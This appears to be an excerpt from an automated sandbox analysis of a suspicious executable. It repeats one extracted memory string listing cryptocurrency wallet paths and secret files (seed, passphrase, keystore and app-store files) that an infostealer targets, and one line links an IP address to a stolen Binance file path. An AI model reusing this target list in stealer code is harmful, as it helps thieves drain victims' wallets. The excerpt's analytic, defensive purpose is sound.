Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1729321166.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\app-store.json,
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger 